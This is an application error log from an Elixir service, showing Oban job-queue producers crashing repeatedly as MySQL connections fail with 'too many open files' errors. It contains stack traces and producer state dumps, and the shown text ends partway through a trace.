** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:57:26.240551Z], limit: 5, uuid: "e1101f17-662a-4e8a-900a-1a26cec9258e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.240556Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148061>, refresh_timer: #Reference<0.2525715032.1121189889.148030>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:39.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:40.443000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:40.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:46.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:46.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:49.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:57:38.239496Z], limit: 3, uuid: "10df119d-ea62-4bf5-9965-34c57ca599b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.239501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148375>, refresh_timer: #Reference<0.2525715032.1121189889.148363>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:57:38.239569Z], limit: 5, uuid: "b948de72-258a-4c5b-a611-027bc677269f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.239575Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12760>, refresh_timer: #Reference<0.2525715032.1077673987.12757>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:57:38.239427Z], limit: 20, uuid: "c0d04373-875f-4330-9a36-01e2113a5556", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.239434Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148376>, refresh_timer: #Reference<0.2525715032.1099431938.37744>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:57:38.240215Z], limit: 5, uuid: "5575eb36-01af-47b8-8592-7343099664cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.240220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148378>, refresh_timer: #Reference<0.2525715032.1099431938.37774>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:57:38.238230Z], limit: 50, uuid: "dbcd478e-4da8-469e-b2bf-4849360fb7db", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.238239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148379>, refresh_timer: #Reference<0.2525715032.1099431938.37723>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:57:38.239718Z], limit: 10, uuid: "b4ee1012-6d37-424a-937d-a0003cf397e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:38.239723Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148377>, refresh_timer: #Reference<0.2525715032.1099431938.37757>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:52.190000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:54.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:55.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:58.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:58.156000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:01.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:57:50.239371Z], limit: 3, uuid: "46a67258-b41b-497d-9048-8197863453be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239377Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148822>, refresh_timer: #Reference<0.2525715032.1068498948.40792>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
